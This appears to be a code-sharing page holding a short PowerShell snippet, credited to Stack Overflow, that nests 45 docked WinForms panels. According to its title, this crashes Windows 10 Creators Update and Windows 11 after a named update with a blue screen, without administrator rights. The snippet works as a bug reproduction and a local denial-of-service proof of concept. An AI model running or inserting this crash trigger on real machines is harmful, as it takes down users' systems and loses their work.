BSOD without elevation from Powershell on Windows 10 Creator Update (Update: Problem is BACK on Windows 11 after KB5034848)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # From https://stackoverflow.com/questions/43583651/windows-10-creators-updates-breaks-winforms-apps-bsod | |
| # (This can be copy pasted into Powershell) | |
| [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") | |
| $form = new-object System.Windows.Forms.Form | |
| $lastPanel = $form | |
| for($i = 0; $i -lt 45; $i++) { | |
| $newPanel = new-object System.Windows.Forms.Panel | |
| $newPanel.Dock = [System.Windows.Forms.DockStyle]::Fill | |
| $lastPanel.Controls.Add($newPanel) | |
| $lastPanel = $newPanel | |
| } | |
| $form.ShowDialog() | |
| # Then move the mouse on the window |